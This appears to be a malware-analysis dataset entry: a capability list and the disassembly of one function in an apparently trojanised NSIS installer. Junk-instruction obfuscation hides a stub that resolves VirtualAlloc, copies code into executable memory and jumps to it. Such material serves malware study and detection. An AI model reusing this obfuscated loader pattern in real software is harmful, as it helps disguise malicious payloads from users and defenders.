Function at 0x40323c
Capabilities:
Accept command line arguments
Encode data using xor
Get common file path
Get file system object information
Hash data using murmur3

Disassembly:
sub esp, 0x180
push ebx
push ebp
push esi
xor ebx, ebx
push edi
mov dword [esp + 0x18], ebx
mov dword [esp + 0x10], str.Error_writing_temporary_file._Make_sure_your_temp_folder_is_valid.
xor esi, esi
mov byte [esp + 0x14], 0x20
call dword [sym.imp.COMCTL32.dll_InitCommonControls]
push RegEnumValueA
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push ebx
call dword [sym.imp.ole32.dll_OleInitialize]
push 8
mov dword [0x423f58], eax
call fcn.00405e88
mov dword [0x423ea4], eax
push ebx
lea eax, [esp + 0x34]
push 0x160
push eax
push ebx
push 0x41f458
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
push str.NSIS_Error
push 0x4236a0
call fcn.00405b66
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov edi, 0x429000
push eax
push edi
call fcn.00405b66
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp byte [0x429000], 0x22
mov dword [0x423ea0], eax
mov eax, edi
jne 0x4032dd
mov byte [esp + 0x14], 0x22
mov eax, 0x429001
push dword [esp + 0x14]
push eax
call fcn.00405684
push eax
call dword [sym.imp.USER32.dll_CharNextA]
mov dword [esp + 0x1c], eax
jmp 0x403357
cmp cl, 0x20
jne 0x4032ff
inc eax
cmp byte [eax], 0x20
je 0x4032f9
cmp byte [eax], 0x22
mov byte [esp + 0x14], 0x20
jne 0x40330f
inc eax
mov byte [esp + 0x14], 0x22
cmp byte [eax], 0x2f
jne 0x403347
inc eax
cmp byte [eax], 0x53
jne 0x403328
mov cl, byte [eax + 1]
or cl, 0x20
cmp cl, 0x20
jne 0x403328
or esi, 2
cmp dword [eax], 0x4352434e
jne 0x40333e
mov cl, byte [eax + 4]
or cl, 0x20
cmp cl, 0x20
jne 0x40333e
or esi, 4
cmp dword [eax - 2], 0x3d442f20
je 0x40335f
push dword [esp + 0x14]
push eax
call fcn.00405684
cmp byte [eax], 0x22
jne 0x403357
inc eax
mov cl, byte [eax]
cmp cl, bl
jne 0x4032f4
jmp 0x403370
mov dword [eax - 2], ebx
add eax, 2
push eax
push 0x429400
call fcn.00405b66
mov ebp, 0x42a400
push ebp
push 0x400
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call fcn.00403208
test eax, eax
ror edx, 0x15
neg eax
test eax, 0x11e6261d
jo 0x4033df
call fcn.0040430e
inc esi
and esi, edi
sub dword [0x4092cd], 0x10ba971
rol esi, 0x1a
ror esi, 0x17
or esi, edi
sub ecx, dword [0x40922f]
sub esi, eax
rol esi, 7
mov eax, ebp
xor eax, 0x1a64684
and esi, edi
ror eax, 0x19
mov ebx, edx
shl eax, 0x18
call fcn.0040430e
mov esi, 0x166b5c28
xor esi, 0x11578ba2
mov ecx, 0x6216420
and dword [esi], eax
shr esi, 1
inc esi
xchg edi, eax
or dword [0x4090de], esi
inc esi
sub dword [0x4093e0], 0x14efc130
shr eax, 0x1c
xchg eax, esi
call fcn.00405c6a
rol eax, 0x11
loop 0x4033e1
mov edx, dword [0x4092e5]
xchg edi, eax
or esi, 0x11902e96
mov ecx, 0x192440
xchg eax, esi
inc ebx
neg esi
xchg edx, esi
call fcn.0040430e
inc eax
test eax, esp
jb 0x4033fd
or dword [0x409009], edx
rol esi, 0xa
dec eax
xchg esi, eax
loop 0x40341a
mov ecx, ecx
xor edx, 0x10da080d
dec eax
mov esi, eax
call fcn.004027a4
mov ecx, 0x7279410
shl eax, 0xa
and ebx, dword [0x409270]
add dword [0x409016], ebx
ror esi, 0x1d
mov edx, dword [0x4091d4]
ror eax, 1
shl eax, 0x15
xor dword [0x4090c0], ecx
inc esi
call fcn.00402aaa
loop 0x40344e
dec esi
mov eax, esi
test esp, ebx
jb 0x403431
mov ecx, 0x2eabeee6
not esi
or esi, edi
add edx, edi
mov edi, esi
and eax, 0x5b2e32d
rol eax, 0xc
xor esi, 0x33f231c
push str.KERNEL32.dll
or dword [0x409325], 0x353143fe
inc eax
xor edx, 0x104a8066
dec esi
neg esi
sub esi, dword [0x409200]
xchg eax, edx
or dword [0x409200], 0x27ba9f73
not esi
ror esi, 0x17
add ebx, edi
xor eax, 0x65a1764
rol edx, 0x10
xor dword [0x40906c], 0x158cfbd6
xor dword [0x40904d], 0x26232830
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call fcn.00401b10
or dword [0x4093c3], edx
inc eax
xor esi, 0x16329f6
sub esi, eax
rol eax, 0xe
xor ebx, edi
not esi
xor ebx, edx
xchg esi, edx
xor esi, 0x4becb24
add ecx, edi
xor edx, 0x7ba8860
xor ecx, esi
xor ecx, esi
xor edx, 0x7ba8860
sub ecx, edi
xor esi, 0x4becb24
xchg esi, edx
xor ebx, edx
not esi
xor ebx, edi
ror eax, 0xe
add esi, eax
xor esi, 0x16329f6
dec eax
call fcn.004018ec
push 0
sub esi, eax
call fcn.00402228
dec esi
xchg eax, eax
sub dword [0x4092dc], edx
xor dword [0x40915b], 0x651a675
call fcn.00401d08
ror esi, 0x17
or dword [str.OpenProcessToken], 0xfa724c
rol eax, 0xd
call fcn.00401607
mov dword [0x409108], esi
sub edx, esp
xor dword [0x409293], ebx
ror esi, 0xe
add ebx, ebp
inc esi
add edx, esp
ror esi, 0x19
sub edi, 0xe965698
add edi, 0xe965698
rol esi, 0x19
sub edx, esp
dec esi
sub ebx, ebp
rol esi, 0xe
mov dword [0x409334], ecx
add edx, esp
call fcn.0040430e
ror eax, 0xd
or dword [0x4090d4], 0x2d97cfbb
rol esi, 0x17
call fcn.00404dc3
mov dword [str.AdjustTokenPrivileges], 0x25fdfa3
xchg eax, eax
inc esi
add esi, eax
push 0x636f6c6c
xor eax, 0x56eca6a
rol ecx, 5
sub dword [0x40923b], 0x19837b3c
call fcn.00405f81
ror eax, 0x1a
call fcn.0040430e
neg eax
mov dword [0x4091ee], 0x844c705
call fcn.0040430e
sub ecx, esp
xor ecx, edx
xor ecx, edx
add ecx, esp
mov dword [0x409080], 0xa27c77b
neg eax
rol eax, 0x1a
call fcn.00405c6a
ror ecx, 5
xor eax, 0x56eca6a
push 0x416c6175
inc ebx
xor dword [0x4093c5], esi
ror esi, 0xf
xor esi, eax
dec edx
xor ebx, esp
fadd st(1), st(0)
ror byte [edi + eax*4], 0xf6
call fcn.0040621c
or dword [0x40929d], esi
xor esi, eax
dec eax
add edi, esi
ror eax, 0x1f
inc ebx
neg esi
dec eax
xor esi, eax
not edx
call fcn.004052c2
call fcn.00402a5e
not edx
xor esi, eax
inc eax
neg esi
dec ebx
rol eax, 0x1f
sub edi, esi
inc eax
xor esi, eax
xchg esi, esi
ror eax, 0xc
xor ebx, esp
inc edx
xor esi, eax
rol esi, 0xf
sub dword [0x40933f], edx
dec ebx
push 0x74726956
xchg ebx, eax
rol ecx, 6
add esi, 0x2d6ceac0
xor dword [0x4093c4], esi
not esi
call fcn.0040621c
dec esi
xor dword [0x409103], 0x247fc7a0
or dword [0x4093fd], 0x15e5a425
neg esi
inc edx
sub edx, ebp
xor edx, eax
not edx
xor eax, esp
call fcn.004027a4
xor eax, esp
not edx
xor edx, eax
add edx, ebp
dec edx
neg esi
inc esi
call fcn.0040430e
not esi
sub esi, 0x2d6ceac0
ror ecx, 6
xchg ebx, eax
push esp
sub dword [0x4090c2], 0x239a5880
xor esi, ecx
neg esi
sub ecx, eax
call fcn.00401607
rol eax, 0x10
dec eax
add dword [0x4093b4], 0x573a0de
xor esi, esp
call fcn.0040321f
call fcn.0040207a
xor esi, esp
mov dword [0x40915c], 0x1e48b391
inc eax
ror eax, 0x10
add ecx, eax
neg esi
xor esi, ecx
push eax
xor ecx, esi
call fcn.00401607
ror eax, 0xd
call fcn.00404421
xor ecx, edi
not eax
xor esi, eax
dec edx
call fcn.0040257b
xor ecx, ebp
mov dword [0x40913b], ecx
xor esi, 0x11cb18fa
and dword [0x4090be], edi
xor ebx, esi
xor esi, eax
or dword [0x4093d3], edi
ror esi, 0xd
neg esi
add dword [0x4091b4], esi
xor dword [0x409181], 0xe7be5d9
dec esi
add edi, esp
sub edi, esp
inc esi
mov dword [0x409350], 0x25ce451c
neg esi
rol esi, 0xd
mov dword [0x409232], ebx
xor esi, eax
xor ebx, esi
xor esi, 0x11cb18fa
or dword [str.Temp], ecx
xor ecx, ebp
inc edx
xor esi, eax
not eax
xor ecx, edi
rol eax, 0xd
call fcn.00401607
xor ecx, esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
inc edi
or dword [0x409180], 0xf522bb8
or dword [0x409331], ecx
xor eax, esp
call fcn.00405c6a
inc eax
xor esi, edx
xor dword [0x4092e8], 0x1f864e02
xor dword [0x4093d6], 0x99578e8
inc eax
and dword [0x40931b], 0xf99963c
dec eax
add eax, 0x413377e
call fcn.0040257b
sub eax, 0x413377e
inc eax
mov dword [0x409320], 0x66d7133
dec eax
xor dword [0x4090fa], 0x58bbfc0
sub dword [0x4092e6], 0x949a660
xor esi, edx
dec eax
call fcn.0040257b
xor eax, esp
or dword [0x4093d1], ebx
sub dword [0x409180], 0x390cc3b
dec edi
add esp, 0x10
rol eax, 0x19
neg esi
mov dword [0x409154], 0x3106fb3
xchg ecx, edx
neg eax
xor edx, 0x30d3f0e8
sub dword [0x4090bf], edi
neg esi
ror eax, 0x19
xor esi, eax
sub esi, eax
add esi, eax
xor esi, eax
rol eax, 0x19
neg esi
xor edx, 0x30d3f0e8
neg eax
xchg ecx, edx
mov dword [str.unpacking_data:__d__], 0xaac2a88
neg esi
ror eax, 0x19
push 0x40
xor eax, ecx
call fcn.00405f81
xor edi, esp
call fcn.00402aaa
inc esi
not ecx
add dword [0x4092e2], ecx
not esi
xor edx, esi
ror ebx, 7
rol ebx, 7
xor edx, esi
not esi
not ecx
dec esi
call fcn.00401d08
xor edi, esp
call fcn.0040257b
xor eax, ecx
push 0x3000
sub esi, 0x1dafaf29
xchg esi, eax
and dword [0x4092c0], 0x1707c816
xchg esi, esi
xor esi, eax
rol ebx, 3
xor esi, eax
call fcn.00401b10
xor esi, eax
xor eax, ebp
mov dword [0x40909e], edi
xor dword [str.GetUserDefaultUILanguage], edi
xor eax, ebp
xor esi, eax
xor esi, eax
ror ebx, 3
xor esi, eax
xchg esi, esi
and dword [0x4093fb], 0x25deca9d
xchg esi, eax
add esi, 0x1dafaf29
push 0x5a6
xchg esi, esi
xor ebx, esp
xor dword [0x4090cb], ecx
xchg esi, eax
xor edi, edx
dec esi
mov dword [0x40928c], 0x3055998
dec esi
or dword [0x4090e4], 0x179e0c61
sub eax, 0x201bd000
or dword [0x40928e], edx
call fcn.0040621c
ror ecx, 0x10
inc eax
call fcn.00402a5e
xchg eax, edx
xor edx, 0xf231c18
call fcn.0040430e
xor edx, esp
xor edx, esp
xor edx, 0xf231c18
xchg eax, edx
call fcn.00402f72
dec eax
rol ecx, 0x10
sub dword [0x409226], esi
add eax, 0x201bd000
mov dword [0x40912f], 0x8c3be78
inc esi
inc esi
xor edi, edx
xchg esi, eax
or dword [0x409120], edi
xor ebx, esp
xchg esi, esi
push 0
not esi
xor dword [str.SHFOLDER], ebx
mov dword [0x4091fe], ebx
sub edi, ecx
ror eax, 7
mov dword [0x409277], 0x9a49850
xor ecx, edi
add esi, 0xcabf6d8
neg edx
add dword [str.NSIS_Error], ecx
or dword [0x4093c4], 0x256673ac
xor esi, eax
mov dword [str.AdjustTokenPrivileges], 0x3c46b1ad
xchg edx, eax
dec eax
inc eax
xchg edx, eax
xor esi, eax
xor dword [0x40901e], 0x151ec8f7
neg edx
sub esi, 0xcabf6d8
xor ecx, edi
rol eax, 7
add edi, ecx
or dword [0x4090e8], ecx
not esi
call eax
neg eax
xchg esi, esi
mov dword [0x409282], ecx
xor dword [0x4092ed], ebx
xchg esi, eax
add esi, eax
ror ebx, 0xa
xchg eax, eax
ror esi, 1
sub dword [0x4091c4], edx
call fcn.00401607
call fcn.0040323b
rol esi, 1
xchg eax, eax
rol ebx, 0xa
sub esi, eax
xchg esi, eax
xchg esi, esi
neg eax
call 0x403a73
inc ecx
ror eax, 0xa
sub dword [0x4093a3], ecx
neg edi
add esi, 0xfe21a8
xor esi, eax
xor esi, eax
inc edi
xor edx, eax
xchg eax, edx
xor eax, ebp
mov dword [0x409356], ecx
xor eax, ebp
xor dword [0x4090ce], edi
ror ebx, 1
neg edx
neg edx
rol ebx, 1
add dword [0x40900a], edi
xor eax, ebp
sub dword [0x409367], ecx
xor eax, ebp
xchg eax, edx
xor edx, eax
dec edi
xor esi, eax
xor esi, eax
sub esi, 0xfe21a8
neg edi
rol eax, 0xa
dec ecx
pop esi
xor edx, 0xde415d4
or dword [0x4093bf], 0x950919c
xor esi, eax
ror eax, 0x1a
mov dword [0x409080], esi
sub dword [0x409270], ebx
ror esi, 0xd
xor dword [0x4092e8], ecx
call fcn.0040659c
xor esi, eax
ror eax, 0x11
xor dword [0x40903d], ecx
add eax, edx
neg esi
neg esi
sub eax, edx
or dword [0x409064], ebx
rol eax, 0x11
xor esi, eax
call fcn.0040323b
rol esi, 0xd
sub dword [0x4093be], esi
rol eax, 0x1a
xor esi, eax
xor edx, 0xde415d4
add esi, 0x2a7
call fcn.0040430e
xor ecx, esi
ror edx, 5
xor esi, eax
xor eax, 0x266f76c0
xor ecx, esi
inc eax
and dword [str.SeShutdownPrivilege], 0xc06a804
xor eax, 0x450923a
ror edi, 1
dec eax
ror esi, 0x1d
dec eax
add esi, eax
sub esi, edx
xchg ebx, esi
xor dword [str.ADVAPI32], ecx
xchg ebx, esi
add esi, edx
sub esi, eax
inc eax
rol esi, 0x1d
inc eax
rol edi, 1
xor eax, 0x450923a
dec eax
xor ecx, esi
xor eax, 0x266f76c0
xor esi, eax
rol edx, 5
xor ecx, esi
mov edi, eax
rol edi, 9
dec eax
sub esi, ebp
not edi
call fcn.004052c2
neg eax
dec esi
add dword [str.Error_writing_temporary_file._Make_sure_your_temp_folder_is_valid.], 0x152694d0
sub ebx, esp
xor edx, eax
xor eax, ebx
mov dword [0x4090ba], edx
inc esi
dec esi
xor eax, ebx
xor edx, eax
add ebx, esp
inc esi
neg eax
call fcn.0040430e
not edi
add esi, ebp
inc eax
ror edi, 9
mov ecx, 0x5a6
call fcn.0040457f
ror ecx, 0xe
xor ebx, esp
and dword [0x4093ce], ebx
call fcn.0040430e
ror eax, 0xb
call fcn.00401ea3
ror eax, 7
neg eax
sub esi, eax
add esi, eax
neg eax
rol eax, 7
call fcn.00402f72
rol eax, 0xb
call fcn.00404cf8
sub dword [str.ADVAPI32], ecx
xor ebx, esp
rol ecx, 0xe
call fcn.0040323b
rep movsb byte es:[edi], byte [esi]
add ebx, 0x112edfe
xor eax, 0x6a1ce10
neg eax
xor esi, eax
rol esi, 0x12
inc edx
ror eax, 0x1b
inc edi
xchg esi, eax
or dword [0x4093c0], 0x13cea857
neg ecx
inc eax
sub esi, 0x7ffa0bc
xor eax, ebx
neg esi
xor ecx, 0x12632be0
xchg esi, eax
mov dword [0x4091dd], esi
xchg eax, edx
xor esi, 0x4e65f8
xor dword [0x409170], ecx
xor dword [0x40932d], ecx
xor esi, 0x4e65f8
xchg eax, edx
xor dword [0x409376], ecx
xchg esi, eax
xor ecx, 0x12632be0
neg esi
xor eax, ebx
add esi, 0x7ffa0bc
dec eax
neg ecx
sub dword [str.RegDeleteKeyExA], 0x1c4e8114
xchg esi, eax
dec edi
rol eax, 0x1b
dec edx
ror esi, 0x12
xor esi, eax
neg eax
xor eax, 0x6a1ce10
sub ebx, 0x112edfe
jmp eax